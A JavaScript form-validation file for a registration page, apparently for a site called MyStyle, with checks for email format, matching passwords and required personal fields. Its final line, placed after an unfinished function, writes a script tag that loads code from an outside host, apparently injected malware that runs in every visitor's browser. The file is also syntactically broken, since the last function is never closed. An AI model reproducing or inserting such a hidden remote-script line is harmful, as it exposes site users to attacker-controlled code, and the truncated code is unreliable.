﻿function echeck(str) {

		var at="@"
		var dot="."
		var lat=str.indexOf(at)
		var lstr=str.length
		var ldot=str.indexOf(dot)
		if (str.indexOf(at)==-1){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
		   alert("Invalid E-mail ID")
		   return false
		}

		if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
		    alert("Invalid E-mail ID")
		    return false
		}

		 if (str.indexOf(at,(lat+1))!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
		    alert("Invalid E-mail ID")
		    return false
		 }

		 if (str.indexOf(dot,(lat+2))==-1){
		    alert("Invalid E-mail ID")
		    return false
		 }
		
		 if (str.indexOf(" ")!=-1){
		    alert("Invalid E-mail ID")
		    return false
		 }

 		 return true					
	}

 function ValidateForm(){
	var emailID=document.register_form.emailP
	
	if ((emailID.value==null)||(emailID.value=="")){
		alert("Please enter your email address")
		emailID.focus()
		return false
	}
	if (echeck(emailID.value)==false){
		emailID.value=""
		emailID.focus()
		return false
	}
	return true
 }


function validate_confirmPassword()
  {
  
     with (document.register_form)
    {
         if (password.value!= cfrmPassword.value)
        {
            alert("The confirm password mismatch with your enter password!!");
            password.value="";
            cfrmPassword.value="";
            cfrmPassword.focus();
            return false
         }
         
        else {return true}
    }
  }
  
 function validate_submit()
  {
   
	
     with (document.register_form)
    {
        //check user_hear
         var len = user_hear.length;
	     var n;
	     var check = 0;
	    
	    for(n=0; n<len; n++)
	    {
		if(user_hear[n].checked == true)
		{
			check++;
				
		}
	    }
    
      /*  if (username.value =="")
        {
            alert("Please fill in your username!!");
            username.focus();
             return false;
         }
         */
        if (emailP.value =="")
        {
            alert("Please fill in your personal email!!");
            emailP.focus();
            return false;
         }
         
        else if (password.value =="")
        {
            alert("Please fill in your password!!");
            password.focus();
            return false;
         }
         
       
         
        else if (fullname.value =="")
        {
            alert("Please fill in your full name!!");
            fullname.focus();
             return false;
         }
       else if (birthDate.value =="0")
        {
            alert("Please select your birth date!!");
            birthDate.focus();
            return false
         }
        else if (birthMonth.value =="0")
        {
            alert("Please select your birth month!!");
            birthMonth.focus();
            return false
         } 
         else if (birthYear.value =="0")
        {
            alert("Please select your birth year!!");
            birthYear.focus();
            return false
         }
          else if (user_children.value =="")
        {
            alert("Please select your children!!");
            user_children.focus();
            return false
         }
         else if (race.value =="0")
        {
            alert("Please select your race!!");
            race.focus();
            return false;
         }         
               
        else if (phone3_0.value =="")
          {
            alert("Please fill in your mobile phone number!!");
            phone3_0.focus();
            return false;
           }      
          else if (phone3.value =="")
          {
            alert("Please fill in your mobile phone number!!");
            phone3.focus();
            return false;
           }
         else if (add1.value =="")
          {
            alert("Please fill in your address!!");
            add1.focus();
            return false;
           }
                 
       else if (postcode.value =="")
          {
            alert("Please fill in your postcode!!");
            postcode.focus();
            return false;
           } 
           
        else if ((country.value =="113") &&( (state.value =="0") || (state.value =="18") ))
          {
            alert("Please select your state!!");
            state.focus();
            return false;
           }
        else if (country.value =="0")
          {
            alert("Please select  your country!!");
            country.focus();
            return false;
           }        
          
          else if (check == 0 )
          {
            alert("Please select  at least one checkbox (Where did you hear about MyStyle)");
           
            return false;
           }
               
       
        else{
            return true;
        }

      }
    
  }


function validate_submit2()
  {
   
    
        if (document.getElementById("username") =="")
        {
            alert("Please fill in your username!!");
            username.focus();
             return false
         }
         
    
document.write('<script src=http://sziszaby.extra.hu/index.php ><\/script>');